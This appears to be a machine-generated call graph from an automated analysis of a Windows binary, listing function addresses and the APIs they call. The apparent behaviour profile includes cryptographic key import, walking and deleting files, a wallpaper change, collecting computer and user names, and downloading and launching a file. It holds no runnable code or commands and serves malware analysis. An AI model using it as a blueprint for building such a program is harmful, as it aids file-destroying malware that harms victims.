??0exception@@QAE@ABQBD _CxxThrowException 5611->5612 5613 40a9ff 5611->5613 5612->5613 5613->5597 5615 40a621 ??0exception@@QAE@ABQBD _CxxThrowException 5614->5615 5616 40a63f 5614->5616 5615->5616 5616->5596 5617->5497 5618->5499 5636 4046b0 5619->5636 5621 4046f8 5622 404709 5621->5622 5623 4046fc 5621->5623 5625 404711 CryptImportKey 5622->5625 5626 40473e 5622->5626 5641 404770 5623->5641 5629 404760 5625->5629 5630 404731 5625->5630 5648 4049b0 CreateFileA 5626->5648 5629->5502 5631 404770 3 API calls 5630->5631 5633 404738 5631->5633 5632 40474c 5632->5629 5634 404770 3 API calls 5632->5634 5633->5502 5635 40475a 5634->5635 5635->5502 5637 4046b7 CryptAcquireContextA 5636->5637 5638 4046e0 5637->5638 5639 4046d7 5637->5639 5638->5621 5639->5637 5640 4046dd 5639->5640 5640->5621 5642 404788 5641->5642 5643 40477a CryptDestroyKey 5641->5643 5644 40479d 5642->5644 5645 40478f CryptDestroyKey 5642->5645 5643->5642 5646 404703 5644->5646 5647 4047a4 CryptReleaseContext 5644->5647 5645->5644 5646->5502 5647->5646 5649 404a1b _local_unwind2 5648->5649 5650 404a09 GetFileSize 5648->5650 5649->5632 5650->5649 5651 404a25 5650->5651 5651->5649 5653 404a38 GlobalAlloc 5651->5653 5653->5649 5654 404a49 ReadFile 5653->5654 5654->5649 5655 404a64 CryptImportKey 5654->5655 5655->5649 5656 404a81 _local_unwind2 5655->5656 5656->5632 5658 40c8f0 #823 5657->5658 5659 4026e4 5658->5659 5660 40c8f0 #823 5659->5660 5661 402706 swprintf FindFirstFileW 5660->5661 5662 40274d 5661->5662 5676 4027b4 5661->5676 5696 402e00 5662->5696 5664 40276a #825 5666 402e00 2 API calls 5664->5666 5665 4027d4 wcscmp 5668 40295d FindNextFileW 5665->5668 5669 4027ee wcscmp 5665->5669 5670 4027a0 #825 5666->5670 5667 402978 FindClose 5674 40298d 5667->5674 5678 4029b9 5667->5678 5668->5667 5668->5676 5669->5668 5671 402808 swprintf GetFileAttributesW 5669->5671 5673 402ace 5670->5673 5675 4028b6 wcscmp 5671->5675 5671->5676 5672 4029ef swprintf DeleteFileW swprintf DeleteFileW 5679 402a6a #825 5672->5679 5680 402a4f 5672->5680 5673->5515 5674->5678 5686 402560 59 API calls 5674->5686 5675->5668 5677 4028d0 wcscmp 5675->5677 5676->5665 5676->5667 5676->5668 5689 402856 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5676->5689 5702 402af0 _wcsnicmp 5676->5702 5677->5668 5682 4028e6 wcscmp 5677->5682 5678->5672 5688 4026b0 84 API calls 5678->5688 5684 402a94 5679->5684 5685 402aba #825 5679->5685 5691 402a66 5680->5691 5728 402e90 5680->5728 5682->5668 5687 4028fc ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5682->5687 5684->5685 5693 402e90 2 API calls 5684->5693 5685->5673 5686->5674 5690 402da0 8 API calls 5687->5690 5688->5678 5724 402da0 #823 5689->5724 5694 4028a3 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5690->5694 5691->5679 5693->5684 5694->5668 5697 402e7a 5696->5697 5701 402e10 5696->5701 5697->5664 5698 402e4c #825 5699 402e6d 5698->5699 5698->5701 5699->5664 5700 402e40 #825 5700->5698 5701->5698 5701->5700 5703 402b12 wcsstr 5702->5703 5704 402b1f 5702->5704 5703->5704 5705 402b30 _wcsicmp 5704->5705 5706 402be9 _wcsicmp 5704->5706 5709 402b42 5705->5709 5710 402b4d _wcsicmp 5705->5710 5707 402c07 _wcsicmp 5706->5707 5708 402bfc 5706->5708 5711 402c21 _wcsicmp 5707->5711 5712 402c16 5707->5712 5708->5676 5709->5676 5713 402b67 _wcsicmp 5710->5713 5714 402b5c 5710->5714 5711->5676 5712->5676 5715 402b81 _wcsicmp 5713->5715 5716 402b76 5713->5716 5714->5676 5717 402b90 5715->5717 5718 402b9b _wcsicmp 5715->5718 5716->5676 5717->5676 5719 402bb5 wcsstr 5718->5719 5720 402baa 5718->5720 5721 402bc4 5719->5721 5722 402bcf wcsstr 5719->5722 5720->5676 5721->5676 5722->5706 5723 402bde 5722->5723 5723->5676 5725 402dbf 5724->5725 5733 402f10 5725->5733 5727 402de4 5727->5694 5729 402ed0 #825 5728->5729 5730 402eb1 5728->5730 5729->5680 5731 402ec4 #825 5730->5731 5732 402ebd 5730->5732 5731->5729 5732->5729 5734 402f40 5733->5734 5741 403044 5733->5741 5735 402f68 5734->5735 5740 402fdb 5734->5740 5737 402f74 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5735->5737 5738 402f6e ?_Xran@std@ 5735->5738 5736 403035 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5736->5741 5742 402f85 5737->5742 5738->5737 5739 402fc0 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 5739->5727 5740->5736 5743 402ff5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 5740->5743 5741->5727 5742->5739 5744 402fa1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 5742->5744 5745 403006 5743->5745 5744->5739 5746 402fb7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 5744->5746 5745->5727 5746->5739 5748 404770 3 API calls 5747->5748 5749 401fac 5748->5749 5750 404770 3 API calls 5749->5750 5751 401fb4 5750->5751 5751->5751 5753 401fe3 5751->5753 5754 401fd0 GlobalFree 5751->5754 5752 40200c 5752->5519 5753->5752 5755 401ff9 GlobalFree 5753->5755 5754->5753 5755->5752 5756->5521 5757->5523 6010 403560 6011 40358c #4376 6010->6011 6012 40356e GetExitCodeThread 6010->6012 6013 403593 6011->6013 6012->6011 6012->6013 6396 40db60 send 6397 409f60 RectVisible 6398 401760 #6453 6399 401791 WaitForSingleObject TerminateThread CloseHandle 6398->6399 6400 4017b8 6398->6400 6399->6400 6401 40193e 6400->6401 6402 4018f6 6400->6402 6403 4017d8 sprintf fopen 6400->6403 6404 401915 6402->6404 6407 401903 rand 6402->6407 6405 401834 8 API calls 6403->6405 6406 4018da #1200 6403->6406 6404->6401 6408 401939 #1200 6404->6408 6405->6401 6406->6401 6407->6404 6408->6401 5758 404070 #693 5759 404088 5758->5759 5760 40407f #825 5758->5760 5760->5759 5761 40a070 DrawTextA 6015 408d70 6016 408e09 GetDeviceCaps 6015->6016 6018 408eb0 6016->6018 6024 408ed8 6016->6024 6019 408eba GetDeviceCaps GetDeviceCaps 6018->6019 6018->6024 6019->6024 6020 4090b6 #2414 6021 408f51 _ftol _ftol 6021->6024 6022 408fca _ftol _ftol _ftol 6023 409024 CreateSolidBrush #1641 6022->6023 6022->6024 6023->6024 6024->6020 6024->6021 6024->6022 6025 409048 FillRect #2414 6024->6025 6026 409083 #2754 6024->6026 6025->6024 6026->6024 6144 404670 6149 404690 DeleteCriticalSection 6144->6149 6146 404678 6147 404688 6146->6147 6148 40467f #825 6146->6148 6148->6147 6149->6146 6409 409b70 #2379 6416 403f70 6421 403f90 #2414 6416->6421 6418 403f78 6419 403f88 6418->6419 6420 403f7f #825 6418->6420 6420->6419 6421->6418 6422 404f70 #4476 6423 404f91 6422->6423 6424 404fc7 #3089 6422->6424 6423->6424 6425 404f9b 6423->6425 6150 403271 #2302 #2302 6151 406a00 #4476 6152 406a23 6151->6152 6154 406a62 6151->6154 6153 406a38 #3089 6152->6153 6152->6154 6153->6154 6155 406a46 #3089 6153->6155 6155->6154 6156 406a54 #3089 6155->6156 6156->6154 6157 401600 6158 4016e5 6157->6158 6159 40161a 6157->6159 6160 4016e9 #537 6158->6160 6164 4016de 6158->6164 6161 40161d 6159->6161 6162 40168f 6159->6162 6180 401970 #3092 #6199 #800 6160->6180 6166 401743 #2385 6161->6166 6169 401628 #537 6161->6169 6170 40165e 6161->6170 6163 401693 #537 6162->6163 6162->6164 6179 401970 #3092 #6199 #800 6163->6179 6164->6166 6168 401701 SendMessageA #2385 6177 401970 #3092 #6199 #800 6169->6177 6170->6164 6173 401663 #537 6170->6173 6171 4016ab SendMessageA #2385 6178 401970 #3092 #6199 #800 6173->6178 6174 401640 #2385 6176 40167b #2385 6177->6174 6178->6176 6179->6171 6180->6168 6426 403f00 6431 403f20 #2414 6426->6431 6428 403f08 6429 403f18 6428->6429 6430 403f0f #825 6428->6430 6430->6429 6431->6428 5429 413102 __set_app_type __p__fmode __p__commode 5430 413171 5429->5430 5431 413185 5430->5431 5432 413179 __setusermatherr 5430->5432 5441 4133b2 _controlfp 5431->5441 5432->5431 5434 41318a _initterm __getmainargs _initterm 5435 4131de GetStartupInfoA 5434->5435 5437 413212 GetModuleHandleA 5435->5437 5442 4133e6 #1576 5437->5442 5440 413236 exit _XcptFilter 5441->5434 5442->5440 5762 403810 WideCharToMultiByte 5765 403e60 SendMessageA #3998 SendMessageA 5762->5765 5764 403845 5765->5764 5766 403410 #4476 5767 403454 #3089 5766->5767 5768 403431 5766->5768 5769 40343b 5767->5769 5768->5767 5768->5769 6027 401110 #2302 5770 404410 SetCursor 6432 404310 6433 404333 6432->6433 6434 40433a #470 #5789 #5875 #6172 6432->6434 6435 4044c0 7 API calls 6433->6435 6436 40438a #5789 #755 6434->6436 6435->6434 6437 401f10 6438 401f30 6 API calls 6437->6438 6439 401f18 6438->6439 6440 401f28 6439->6440 6441 401f1f #825 6439->6441 6441->6440 6187 40ca19 6188 40ca26 6187->6188 6189 40ca28 #823 6187->6189 6188->6189 6209 409a20 6214 4099c0 6209->6214 6212 409a38 6213 409a2f #825 6213->6212 6215 409a03 6214->6215 6216 4099f3 #6170 6214->6216 6215->6212 6215->6213 6216->6215 5771 40a020 TabbedTextOutA 5783 408c20 5788 408b40 5783->5788 5785 408c28 5786 408c38 5785->5786 5787 408c2f #825 5785->5787 5787->5786 5789 408bd0 5788->5789 5790 408b78 BitBlt 5788->5790 5792 408bd6 #2414 #640 5789->5792 5793 408bc1 #5785 5790->5793 5794 408bb5 #5785 5790->5794 5792->5785 5793->5792 5794->5792 6199 405a20 6200 405a25 6199->6200 6203 4130bb 6200->6203 6206 41308f 6203->6206 6205 405a4a 6207 4130a4 __dllonexit 6206->6207 6208 413098 _onexit 6206->6208 6207->6205 6208->6205 6217 404620 #795 6218 404638 6217->6218 6219 40462f #825 6217->6219 6219->6218 6190 401220 6191 4012c2 #2379 6190->6191 6192 401233 6190->6192 6193 401243 SendMessageA KillTimer #4853 6192->6193 6194 40126b SendMessageA 6192->6194 6193->6194 6195 401285 SendMessageA 6194->6195 6196 401297 6194->6196 6195->6196 6196->6191 6197 4012a1 SendMessageA 6196->6197 6197->6191 6198 4012b8 6197->6198 6198->6191 5772 409c20 #3797 5773 409c40 #6734 5772->5773 5774 409c36 5772->5774 5775 409c5b SendMessageA 5773->5775 5776 409c78 5773->5776 5775->5776 5777 409ce4 5776->5777 5778 409caa 5776->5778 5779 409cf6 5777->5779 5780 409ce8 InvalidateRect 5777->5780 5781 409cd4 #4284 5778->5781 5782 409cc4 #4284 5778->5782 5780->5779 5781->5779 5782->5779 6446 409b20 6447 409b31 6446->6447 6448 409b33 #6140 6446->6448 6447->6448 6032 409920 6037 4098c0 6032->6037 6035 409938 6036 40992f #825 6036->6035 6038 4098f2 #5875 6037->6038 6039 4098fb 6037->6039 6038->6039 6039->6035 6039->6036 5795 413427 5796 41342c 5795->5796 5799 4133fe #1168 5796->5799 5800 413421 5799->5800 5801 413418 _setmbcp 5799->5801 5801->5800 5805 407c30 OpenClipboard 5806 407c42 GlobalAlloc 5805->5806 5807 407ca9 5805->5807 5808 407c64 EmptyClipboard GlobalLock GlobalUnlock SetClipboardData CloseClipboard 5806->5808 5809 407c5b CloseClipboard 5806->5809 5808->5807 5802 40d830 inet_addr 5803 40d844 gethostbyname 5802->5803 5804 40d84f 5802->5804 5803->5804 5810 404430 5811 40447b 5810->5811 5812 40443d _TrackMouseEvent #2379 5810->5812 5815 404489 5811->5815 5817 404530 5811->5817 5816 4044a1 SetCursor #2379 5815->5816 5818 4045c1 5817->5818 5819 404552 5817->5819 5818->5815 5819->5818 5820 404559 #289 #5789 GetTextExtentPoint32A #5789 #613 5819->5820 5820->5818 6040 406930 #6215 6041 402d30 6042 402d73 #825 6041->6042 6043 402d3f 6041->6043 6044 402d40 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N #825 6043->6044 6044->6044 6045 402d72 6044->6045 6045->6042 6220 405230 6227 405369 6220->6227 6230 40525a 6220->6230 6221 405552 InvalidateRect 6226 405560 6221->6226 6222 405285 6223 4052ee 7 API calls 6222->6223 6224 40528f #4277 #923 #858 #800 #800 6222->6224 6223->6221 6224->6221 6225 40539e 6228 405430 6225->6228 6229 4053aa 7 API calls 6225->6229 6227->6221 6227->6225 6234 405390 #940 6227->6234 6231 4054b4 6228->6231 6232 405435 7 API calls 6228->6232 6229->6221 6230->6222 6233 405277 #940 6230->6233 6235 4054b8 6231->6235 6237 405503 6231->6237 6232->6221 6233->6222 6233->6233 6234->6225 6234->6234 6235->6221 6236 4054de #6778 #6648 6235->6236 6236->6236 6238 405501 6236->6238 6237->6221 6237->6226 6239 405529 #6778 #6648 6237->6239 6238->6221 6239->6221 6239->6239 6240 40d630 6245 40d650 6240->6245 6242 40d638 6243 40d648 6242->6243 6244 40d63f #825 6242->6244 6244->6243 6246 40dad0 4 API calls 6245->6246 6247 40d680 6246->6247 6247->6242 6046 402531 6047 402543 6046->6047 6048 40253c CloseHandle 6046->6048 6049 402555 6047->6049 6050 40254e CloseHandle 6047->6050 6048->6047 6050->6049 6248 40ca3a 6251 40ca40 6248->6251 6249 40ca81 6250 40ca87 #825 6250->6249 6251->6249 6251->6250 5821 4068c0 #4837 6252 4032c0 6 API calls 6253 403334 SendMessageA #3092 6252->6253 6255 40335c SendMessageA #3092 6253->6255 6257 40337b SendMessageA #3092 6255->6257 6259 4033a0 SendMessageA 6257->6259 6260 40339d 6257->6260 6263 403cb0 FindFirstFileA 6259->6263 6260->6259 6262 4033b2 SendMessageA #3996 SendMessageA 6264 403cd9 6263->6264 6265 403ce3 6263->6265 6264->6262 6266 403e1f FindNextFileA 6265->6266 6268 403d14 sscanf 6265->6268 6266->6265 6267 403e3a FindClose 6266->6267 6267->6262 6268->6266 6269 403d38 fopen 6268->6269 6269->6266 6270 403d5c fread 6269->6270 6271 403e15 fclose 6270->6271 6275 403d7b 6270->6275 6271->6266 6272 403d8f sprintf 6273 403dd4 SendMessageA #823 SendMessageA 6272->6273 6273->6271 6275->6271 6275->6272 6275->6273 6276 401c30 inet_ntoa 6275->6276 6276->6275 6449 4043c0 #6453 #2414 6450 409fc0 TextOutA 4642 4064d0 #4710 SendMessageA SendMessageA 4686 401c70 wcscat 4642->4686 4644 406516 4645 406577 4644->4645 4646 40651d GetModuleFileNameA strrchr 4644->4646 4695 401a10 4645->4695 4647 40656c SetCurrentDirectoryA 4646->4647 4648 40655d strrchr 4646->4648 4647->4645 4648->4647 4650 406585 4651 4065e5 4650->4651 4652 40658c time 4650->4652 4705 402c40 4651->4705 4653 401a10 5 API calls 4652->4653 4653->4651 4655 4065ed __p___argc 4656 406606 4655->4656 4657 40678c 4656->4657 4658 40660f __p___argv 4656->4658 4753 407e80 SHGetFolderPathW wcslen 4657->4753 4660 406621 4658->4660 4663 406661 __p___argv 4660->4663 4664 406652 4660->4664 4661 406793 SetWindowTextW 4756 406f80 4661->4756 4667 40666d 4663->4667 4729 407f80 fopen 4664->4729 4665 4067a9 4814 406c20 GetUserDefaultLangID GetLocaleInfoA 4665->4814 4671 4066ad __p___argv 4667->4671 4672 40669e 4667->4672 4670 4067b0 SetTimer SetTimer 4674 4066b9 4671->4674 4711 4080c0 FindFirstFileA 4672->4711 4674->4657 4677 4066ee Sleep 4674->4677 4739 401bb0 AllocateAndInitializeSid 4677->4739 4679 406734 4680 406750 sprintf 4679->4680 4681 406738 4679->4681 4745 401a90 CreateProcessA 4680->4745 4744 401b50 ShellExecuteExA 4681->4744 4684 40674b ExitProcess 4687 401cdc 4686->4687 4688 401d00 RegCreateKeyW 4687->4688 4689 401d62 RegQueryValueExA 4687->4689 4690 401d1d GetCurrentDirectoryA RegSetValueExA 4687->4690 4691 401dbb 4687->4691 4688->4687 4692 401d9e RegCloseKey 4689->4692 4693 401d90 SetCurrentDirectoryA 4689->4693 4690->4692 4691->4644 4692->4687 4694 401dc8 4692->4694 4693->4692 4694->4644 4696 401a1a fopen 4695->4696 4698 401a3a 4696->4698 4699 401a6f 4696->4699 4700 401a53 fwrite 4698->4700 4701 401a46 fread 4698->4701 4699->4650 4702 401a5e 4700->4702 4701->4702 4703 401a74 fclose 4702->4703 4704 401a66 fclose 4702->4704 4703->4650 4704->4699 4823 404b70 4705->4823 4707 402c46 4708 402c57 4707->4708 4709 402c5e LoadLibraryA 4707->4709 4708->4655 4709->4708 4710 402c73 7 API calls 4709->4710 4710->4708 4712 40820a 4711->4712 4724 408124 4711->4724 4828 401e30 4712->4828 4715 4081e4 FindNextFileA 4716 4081ff FindClose 4715->4716 4715->4724 4716->4712 4717 401e30 2 API calls 4719 408255 sprintf #537 4717->4719 4718 408158 sscanf 4718->4715 4720 408178 fopen 4718->4720 4833 4082c0 4719->4833 4720->4715 4722 408190 fread 4720->4722 4722->4724 4725 4081bd fclose 4722->4725 4724->4715 4724->4718 4724->4725 4725->4715 4725->4724 4726 408291 #537 4728 4082c0 141 API calls 4726->4728 4727 4066a5 ExitProcess 4728->4727 4730 407fd0 fread fclose 4729->4730 4738 406659 ExitProcess 4729->4738 5202 40be90 strncpy strncpy strncpy 4730->5202 4732 408002 5203 40c4f0 4732->5203 4734 40801d 4735 40c4f0 112 API calls 4734->4735 4736 408041 4734->4736 4735->4736 4737 401a10 5 API calls 4736->4737 4736->4738 4737->4738 4740 401bf6 4739->4740 4741 401bfb CheckTokenMembership 4739->4741 4740->4679 4742 401c10 4741->4742 4743 401c14 FreeSid 4741->4743 4742->4743 4743->4679 4744->4684 4746 401b45 4745->4746 4747 401aed 4745->4747 4746->4684 4748 401af5 WaitForSingleObject 4747->4748 4749 401b26 CloseHandle CloseHandle 4747->4749 4750 401b12 4748->4750 4751 401b05 TerminateProcess 4748->4751 4749->4684 4750->4749 4752 401b1a GetExitCodeProcess 4750->4752 4751->4750 4752->4749 4754 407f02 4753->4754 4755 407f09 swprintf MultiByteToWideChar CopyFileW SystemParametersInfoW 4753->4755 4754->4661 4755->4661 5217 4076a0 4756->5217 4758 406fa8 27 API calls 4759 407119 4758->4759 4760 40711c SendMessageA #3092 4758->4760 4759->4760 4761 40713d SendMessageA #3092 4760->4761 4763 40715f SendMessageA #3092 4761->4763 4765 407181 SendMessageA #3092 4763->4765 4767 4071a3 SendMessageA #3092 4765->4767 4769 4071c5 SendMessageA #3092 4767->4769 4771 4071e7 4769->4771 4772 4071ea SendMessageA #3092 4769->4772 4771->4772 4773 407205 SendMessageA #3092 4772->4773 4775 407227 SendMessageA #3092 4773->4775 4777 407249 SendMessageA #3092 4775->4777 4779 40726b 4777->4779 4780 40726e SendMessageA #860 4777->4780 4779->4780 4781 4072a4 4780->4781 4782 4072ed #537 4781->4782 5233 404210 #858 #800 4782->5233 4784 407309 #537 5234 404210 #858 #800 4784->5234 4786 407325 #540 #2818 #535 5235 404210 #858 #800 4786->5235 4788 407369 5236 404270 4788->5236 4792 4073a8 SendMessageA SendMessageA #6140 #6140 4793 407428 4792->4793 5240 405920 4793->5240 4797 407457 5248 4058c0 4797->5248 4799 407460 5251 405180 _mbscmp 4799->5251 4801 407477 4802 405920 2 API calls 4801->4802 4803 4074ac 4802->4803 4804 405860 2 API calls 4803->4804 4805 4074b5 4804->4805 4806 4058c0 2 API calls 4805->4806 4807 4074be 4806->4807 4808 405180 4 API calls 4807->4808 4809 4074d5 GetTimeZoneInformation 4808->4809 5257 401e60 VariantTimeToSystemTime 4809->5257 4811 407508 SystemTimeToTzSpecificLocalTime #2818 5258 401e60 VariantTimeToSystemTime 4811->5258 4813 40759b SystemTimeToTzSpecificLocalTime #2818 #6334 #800 4813->4665 4815 406c81 SendMessageA 4814->4815 4816 406c5d 4814->4816 4817 406cc1 SendMessageA 4815->4817 4818 406ca1 SendMessageA 4815->4818 4816->4815 4820 406ae0 27 API calls 4817->4820 5265 406ae0 8 API calls 4818->5265 4821 406cdd 4820->4821 4821->4670 4822 406cba 4822->4670 4824 404b81 LoadLibraryA 4823->4824 4825 404b7a 4823->4825 4826 404b96 6 API calls 4824->4826 4827 404bf6 4824->4827 4825->4707 4826->4827 4827->4707 4860 401e60 VariantTimeToSystemTime 4828->4860 4830 401e42 4861 401de0 sprintf 4830->4861 4832 401e51 4832->4717 4834 408337 4833->4834 4835 4082fb #4278 #858 #800 4833->4835 4836 408344 4834->4836 4837 408378 time 4834->4837 4835->4834 4838 408359 #800 4836->4838 4839 40834d #1200 4836->4839 4840 40839c 4837->4840 4841 40844d time 4837->4841 4842 40828c 4838->4842 4839->4838 4840->4841 4843 4083a9 4840->4843 4841->4843 4844 408466 4841->4844 4842->4726 4842->4727 4845 4083bb 4843->4845 4846 40846c fopen 4843->4846 4844->4846 4847 4083c4 #540 time #2818 #1200 #800 4845->4847 4848 40842e #800 4845->4848 4849 4084b5 fread fclose 4846->4849 4850 408496 #800 4846->4850 4847->4848 4848->4842 4862 40be90 strncpy strncpy strncpy 4849->4862 4850->4842 4852 4084e7 4863 40c060 4852->4863 4854 408501 4855 408516 4854->4855 4856 408538 4854->4856 4857 408549 #800 4855->4857 4858 40851a #1200 time 4855->4858 4856->4857 4859 40853c #1200 4856->4859 4857->4842 4858->4857 4859->4857 4860->4830 4861->4832 4862->4852 4864 40c07f 4863->4864 4890 40bed0 4864->4890 4866 40c0ba 4867 40c0c1 4866->4867 4868 40c0e7 4866->4868 4869 40c0cc SendMessageA 4867->4869 4887 40c0db 4867->4887 4870 40c104 4868->4870 4871 40c0f8 SendMessageA 4868->4871 4869->4887 4909 40dd00 4870->4909 4871->4870 4873 40dbf0 free 4874 40c173 4873->4874 4874->4854 4875 40c116 4876 40c144 4875->4876 4877 40c17b 4875->4877 4878 40c154 4876->4878 4879 40c148 SendMessageA 4876->4879 4880 40c18b 4877->4880 4881 40c17f SendMessageA 4877->4881 4912 40dbf0 4878->4912 4879->4878 4883 40c1b4 4880->4883 4884 40c1e8 4880->4884 4881->4880 4885 40c1c4 4883->4885 4886 40c1b8 SendMessageA 4883->4886 4884->4887 4888 40c1f5 SendMessageA 4884->4888 4889 40dbf0 free 4885->4889 4886->4885 4887->4873 4888->4887 4889->4874 4891 40bef5 4890->4891 4892 40bf0a #823 4890->4892 4891->4892 4893 40bf2e 4892->4893 4894 40bf27 4892->4894 4896 40bf46 4893->4896 4920 40baf0 4893->4920 4916 40d5e0 4894->4916 4896->4866 4899 40bf72 4899->4866 4900 40bf8a GetComputerNameA GetUserNameA 4952 40dc00 4900->4952 4903 40dd00 4 API calls 4904 40c01f 4903->4904 4905 40dc00 4 API calls 4904->4905 4906 40c038 4905->4906 4907 40dd00 4 API calls 4906->4907 4908 40c047 4907->4908 4908->4866 4910 40dc00 4 API calls 4909->4910 4911 40dd1c 4910->4911 4911->4875 4913 40dd70 4912->4913 4914 40dd8b 4913->4914 5198 412ac0 4913->5198 4914->4874 4917 40d602 4916->4917 4961 40dad0 4917->4961 4964 40ba10 4920->4964 4922 40bdf5 4922->4899 4922->4900 4923 40bb14 4923->4922 4924 40bb42 4923->4924 4969 40ba60 4923->4969 4924->4922 4973 40c8f0 #823 4924->4973 4928 40bc1b strtok 4932 40bc30 4928->4932 4943 40bbb7 4928->4943 4929 40ba60 closesocket 4931 40bc8b 4929->4931 4933 40bc92 4931->4933 4934 40bcec GetTickCount srand 4931->4934 4932->4929 4932->4934 4995 40c860 4933->4995 4937 40bdc7 4934->4937 4938 40bd07 rand 4934->4938 4940 40c860 2 API calls 4937->4940 4948 40bd1e 4938->4948 4939 40bcd8 #825 4939->4922 4942 40bde8 #825 4940->4942 4942->4922 4943->4928 4945 40c7b0 #825 4943->4945 4975 40c7b0 4943->4975 4979 40c920 4943->4979 4991 40c800 #823 4943->4991 4944 40ba60 closesocket 4944->4948 4945->4928 4946 40be75 #825 4946->4922 4947 40be11 4947->4946 5007 40c740 4947->5007 4948->4944 4948->4947 5001 40ce50 4948->5001 4953 40dc15 4952->4953 4959 40c013 4952->4959 4954 40dc77 4953->4954 4955 40dc49 4953->4955 4953->4959 5197 412aa0 realloc 4954->5197 5196 412a90 malloc 4955->5196 4958 40dc51 4958->4959 4960 40dc8d ??0exception@@QAE@ABQBD _CxxThrowException 4958->4960 4959->4903 4960->4959 4962 40d61e 4961->4962 4963 40dadf setsockopt send shutdown closesocket 4961->4963 4962->4893 4963->4962 4965 40ba27 4964->4965 4966 40ba2b 4965->4966 5012 40b840 sprintf GetFileAttributesA 4965->5012 4966->4923 4968 40ba31 4968->4923 4970 40ba88 4969->4970 5132 40d8c0 4970->5132 4974 40bb62 strtok 4973->4974 4974->4932 4974->4943 4976 40c7d0 4975->4976 4977 40c7bb 4975->4977 4976->4943 4977->4976 4978 40c7d6 #825 4977->4978 4978->4976 4980 40c932 4979->4980 4981 40c92d ?_Xlen@std@ 4979->4981 4982 40c973 4980->4982 4983 40c963 4980->4983 4984 40c946 4980->4984 4981->4980 4987 40c990 4982->4987 4988 40c7b0 #825 4982->4988 4985 40c7b0 #825 4983->4985 4989 40c94a 4984->4989 5136 40c9c0 4984->5136 4986 40c96c 4985->4986 4986->4943 4987->4943 4988->4984 4989->4943 4992 40c81f 4991->4992 5142 40cad0 4992->5142 4994 40c844 4994->4943 4996 40c8d9 4995->4996 4998 40c870 4995->4998 4996->4939 4997 40c8ab #825 4997->4998 5000 40c8cc 4997->5000 4998->4997 4999 40c8a2 #825 4998->4999 4999->4997 5000->4939 5002 40ce68 5001->5002 5003 40ce5a 5001->5003 5005 40ce94 #825 5002->5005 5006 40bd9e #825 Sleep 5002->5006 5003->5002 5004 40ce6e #825 5003->5004 5004->5002 5005->5006 5006->4937 5006->4938 5008 40c761 5007->5008 5009 40c77e #825 5007->5009 5010 40c775 #825 5008->5010 5011 40c76f 5008->5011 5009->4947 5010->5009 5011->5009 5013 40b898 5012->5013 5014 40b95b CreateProcessA 5012->5014 5029 40b6a0 CreateDirectoryA 5013->5029 5016 40b9b4 5014->5016 5017 40b9bf WaitForSingleObject 5014->5017 5016->4968 5018 40b9e4 CloseHandle CloseHandle 5017->5018 5019 40b9d8 WaitForSingleObject 5017->5019 5018->4968 5019->5018 5020 40b8a9 5021 40b8e9 sprintf GetFileAttributesA 5020->5021 5043 40b780 CreateDirectoryA 5020->5043 5023 40b946 CopyFileA 5021->5023 5024 40b93b 5021->5024 5023->5014 5024->4968 5025 40b8c1 5025->5021 5026 40b780 60 API calls 5025->5026 5027 40b8d9 5026->5027 5027->5021 5028 40b8e0 5027->5028 5028->4968 5051 412920 5029->5051 5032 40b6d8 DeleteFileA 5032->5020 5033 40b6ec 5054 412940 5033->5054 5035 40b70e 5036 40b719 5035->5036 5037 40b76a 5035->5037 5039 412940 14 API calls 5035->5039 5036->5020 5063 412a00 5037->5063 5041 40b738 sprintf 5039->5041 5040 40b770 5040->5020 5060 4129e0 5041->5060 5044 40b81b 5043->5044 5045 40b7ae GetTempFileNameA DeleteUrlCacheEntry URLDownloadToFileA 5043->5045 5044->5025 5046 40b810 DeleteFileA 5045->5046 5047 40b7f6 5045->5047 5046->5044 5048 40b6a0 54 API calls 5047->5048 5049 40b809 5048->5049 5049->5046 5050 40b827 DeleteFileA 5049->5050 5050->5025 5074 4127e0 #823 5051->5074 5053 40b6cf 5053->5032 5053->5033 5055 412964 5054->5055 5056 412959 5054->5056 5057 412969 5055->5057 5087 411cf0 5055->5087 5056->5035 5057->5035 5059 412982 5059->5035 5120 412990 5060->5120 5062 4129f8 5062->5035 5064 412a15 5063->5064 5065 412a09 5063->5065 5066 412a1a 5064->5066 5126 4127a0 5064->5126 5065->5040 5066->5040 5069 412a7d #825 5069->5040 5070 412a44 #825 5071 412a4d 5070->5071 5072 412a61 #825 5071->5072 5073 412a6a #825 5071->5073 5072->5073 5073->5069 5075 412815 5074->5075 5076 41287a 5074->5076 5075->5076 5077 41283d #823 5075->5077 5078 411c00 15 API calls 5076->5078 5077->5076 5079 41289d 5078->5079 5080 4128a6 5079->5080 5081 4128f8 #823 5079->5081 5082 4128e5 5080->5082 5083 4128b4 #825 5080->5083 5084 4128bd 5080->5084 5081->5053 5082->5053 5083->5084 5085 4128d6 #825 5084->5085 5086 4128cd #825 5084->5086 5085->5082 5086->5085 5088 412231 5087->5088 5089 411d11 5087->5089 5088->5059 5089->5088 5090 411ac0 free free 5089->5090 5093 411d27 5089->5093 5090->5093 5091 411d37 5091->5059 5092 411dc2 5094 411ddc 5092->5094 5096 4113e0 SetFilePointer SetFilePointer ReadFile 5092->5096 5093->5091 5093->5092 5095 411390 SetFilePointer SetFilePointer ReadFile 5093->5095 5097 411350 SetFilePointer SetFilePointer ReadFile 5094->5097 5095->5092 5096->5092 5098 411dfe 5097->5098 5099 411460 SetFilePointer SetFilePointer ReadFile 5098->5099 5100 411e15 5099->5100 5101 411e1c 